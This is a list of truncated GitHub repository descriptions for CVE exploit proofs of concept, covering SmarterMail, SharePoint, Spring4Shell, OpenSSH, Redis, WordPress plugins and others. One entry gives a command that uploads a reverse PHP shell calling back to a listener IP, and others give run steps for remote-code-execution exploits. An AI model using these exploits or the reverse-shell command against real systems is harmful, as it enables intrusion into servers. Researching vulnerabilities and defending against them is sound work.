Ashwesker-CVE-2025-52691

🚨 CVE-2025-52691 — SmarterMail 严重漏洞 状态： 🔥 严重 — 需要立即采取行动 CVSS v3.1 评分： 10.0 / 10 披露日期： 2025年12月29-30日 🧩 漏洞概述 CVE-2025-52691 是一个 严重的、未经验证的任意文件上传漏洞 ，影响 SmarterTools SmarterMail 服务器 。 利用该漏洞可直接导致 远程代码执行 RCE 和 服务器完全沦陷 。 🎯 关键技术细节...

Automation-for-Juniper-cve-2023-36845

Automation for Juniper CVE:2023-36845 Overview is a bash script designed to check for the CVE-2023-36845 vulnerability. This script processes a list of IP addresses, sends a request to each, and determines whether the system is vulnerable based on the response. Usage To use the script, run it fro...

CVE-2025-53770

CVE-2025-53770 SharePoint反序列化RCE PoC 严重 — 通过在Microsoft SharePoint Server中的不安全反序列化实现的未认证远程代码执行 CVE-2025-53770 描述 在本地部署的Microsoft SharePoint Server中反序列化不可信数据允许攻击者远程执行代码并入侵系统。Microsoft已知悉该漏洞正在被积极利用，并正在准备全面的更新。请确保已应用CVE文档中所述的缓解措施。 影响 ：未认证的攻击者可以实现远程代码执行，从而导致系统完全被入侵。 严重性 ：严重 概念验证...

CVE-2024-0195-SpiderFlow

CVE-2024-0195 代码生成控制不当（'代码注入'）严重漏洞 2024 摘要 CVE-2024-0195 是 spider-flow 0.4.3 Web 应用程序中的严重代码注入漏洞，具体存在于 FunctionController.java 文件中的 FunctionService.saveFunction 函数。攻击者可以远程注入恶意代码并在服务器上执行，从而导致应用程序完全沦陷。 影响.. 该漏洞极为严重，因为它允许在托管易受攻击的 spider-flow...

spring4shell-poc

Spring4Shell POC Description of the vulnerability: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html Construction of the POC: https://github.com/BobTheShoplifter/Spring4Shell-POC Steps to Build/Run Tested with JDK 11.0.14, Spring Boot 2.6.5, and Apache Tomcat 9.0.60 Run...

spring4shell-poc

Spring4Shell POC 脆弱性の説明: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html POCの構成: https://github.com/BobTheShoplifter/Spring4Shell-POC ビルド/実行手順 テスト環境: JDK 11.0.14、Spring Boot 2.6.5、Apache Tomcat 9.0.60 アプリケーションをビルドするには mvn clean package を実行 demo-0.0.1-SNAPSHOT.war を...

vscode-rce-electrovolt

vscode-rce-electrovolt CVE-2021-43908 https://blog.electrovolt.io/posts/vscode-rce/...

CVE-2025-49071

CVE-2025-49071 Flozen 1.5.1 - 認証なし任意ファイルアップロード 説明 : Flozen Theme 1.5.1 - 認証なし任意ファイルアップロード 説明...

CVE-2024-6387

CVE-2024-6387 OpenSSH 服务器（sshd）中的信号处理程序竞争条件 描述 针对基于glibc的Linux系统上OpenSSH服务器（sshd）中CVE-2024-6387信号处理程序竞争条件的利用程序。该漏洞允许以root身份远程执行代码，原因是在SIGALRM处理程序中调用了异步信号不安全的函数。 安装 $ make all 用法 $ ./exp 利用详情 漏洞概要 该利用程序针对OpenSSH的sshd中的SIGALRM处理程序竞争条件： = 'SSH-2.0-OpenSSH8.9p1 Ubuntu-3ubuntu0.10',...

CVE-2024-38077

CVE-2024-38077 こちらは、CVE-2024-38077 の GitHub 上の説明文の一例です: CVE-2024-38077: Windows Remote Desktop Licensing Service におけるリモートコード実行の脆弱性 概要: CVE-2024-38077 は、Windows リモート デスクトップ ライセンス...

CVE-2024-1651-PoC

CVE-2024-1651 このCVEは、Fluid Attack Offensive TeamのCarlos Belloによって発見されました。この脆弱性は、安全でないオブジェクトのデシリアライゼーションを利用してRCE（リモートコード実行）を取得するものです。ここでは、より高速で使いやすいPoC（概念実証）を作成しました。したがって、この脆弱性を再現したい場合は、参考例としてこれを利用できます。 プレビュー...

CVE-2020-11851

CVE-2020-11851 ArcSight Logger 远程代码执行漏洞（通过 ArcSight Management Center） https://nvd.nist.gov/vuln/detail/CVE-2020-11851 执行摘要 漏洞背景 ArcSight Logger 是一个全面的日志管理解决方案，通过统一和存储来自组织各处的机器数据日志，并支持对这些数据进行快速搜索和报告，从而减轻合规负担，并为安全专业人员提供更快速的取证调查能力。 ArcSight Management Center ArcMC 是一个集中式安全管理中心，通过单一界面管理大规模部署的 ArcSig...

CVE-2018-11776

CVE-2018-11776 Investigation of CVE-2018-11776 vulnerability that allows attackers to remotely execute code and gain control over Apache Struts-based applications. Install and Exploiting https://github.com/hook-s3c/CVE-2018-11776-Python-PoC Suricata In the file "test.rules " presents a rule for t...

CVE-2022-21907

CVE-2022-21907 説明 root@kitploit: CVE-2022-21907 の POC: HTTP プロトコル スタックのリモート コード実行の脆弱性。 Malwareman により 2022-09-17 に作成。 詳細 root@kitploit: HTTP プロトコル スタックのリモート コード実行の脆弱性。 https://github.com/antx-code/CVE-2021-31166CVE-2021-31166 に類似。 この問題は、昨年 https://github.com/antx-code/CVE-2021-31166CVE-2021-31166...

Valve-Press-CVE-2024-27956-RCE

Valve-Press-CVE-2024-27956-RCE Valve Press - CVE-2024-27956-RCE - SQL Injection...

CVE-2026-25243-debugfree

CVE-2026-25243 — 无DEBUG的Redis RCE（私有） 可靠的远程代码执行 ，来自一个精心构造的 RESTORE 命令，针对 jemalloc Redis — 无需DEBUG 命令、无需 /proc、无需 gdb、无需 ROP，ASLR 开启。以 redis 进程身份运行攻击者命令（默认镜像中为 root）。 🔒 私有仓库 — 仅限授权的安全研究/协调披露。请勿重新分发。该漏洞已在上游修复（6.2.22 / 7.2.14 / 7.4.9 / 8.2.6 / 8.4.3 / 8.6.3，提交 b9dde6fc）；本仓库针对修复前的路径。 状态/校准说明（请阅读）...

Node_CVE-2023-29017

CVE-2023-29017 | Remote Code Execution via vm2 Sandbox Escape WHS 4th Generation, Class 31 - Kim Geon-woo @gunwoo105 Vulnerability Summary vm2 is a Node.js sandbox library for executing untrusted JavaScript in a restricted environment. Under normal circumstances, code inside the sandbox should no...

Apache-APISIX-CVE-2022-24112

Apache APISIX 远程代码执行 CVE-2022-24112 漏洞利用 摘要 攻击者可以利用 batch-requests 插件发送请求以 绕过 Admin API 的 IP 限制。 Apache APISIX 的默认配置（使用默认 API 密钥） 容易受到远程代码执行攻击。 当管理员密钥被更改或 Admin API 的端口被更改 为与数据面板不同的端口时，影响会更低。但仍 然存在绕过 Apache APISIX 数据 面板 IP 限制的风险。 batch-requests 插件中有一个检查，它会覆盖 客户端 IP 为其真实的远程 IP。但由于代码中的一个 bug，此...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 リバースシェルアップロード h3v0x 氏による エクスプロイト に基づいた WpDiscuz 7.0.4 用のエクスプロイト。 脆弱性を悪用し、リバース PHP シェルをアップロードします。着想は Blogger CTF から得ました。 exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001 使用例:...

oieh-router-checker

OIEH Router Checker 一键即可检查我的路由器是否属于中国产后门（ENDLESSDOORS）的 Windows 程序 无需安装 · 无需管理员权限 · 不向外部传输数据 这是什么？ 2026 年 8 月，安全公司 VulnCheck 在中国 Zbtlink（深圳智博通电子）/ Wiflyer 及其 OEM（贴牌）路由器 20 个型号 的官方固件中发现了远程控制后门。 名称： ENDLESSDOORS · 漏洞编号： CVE-2026-66747（严重度 9.3/10） 行为： 通电后自动运行，大约每 35 秒...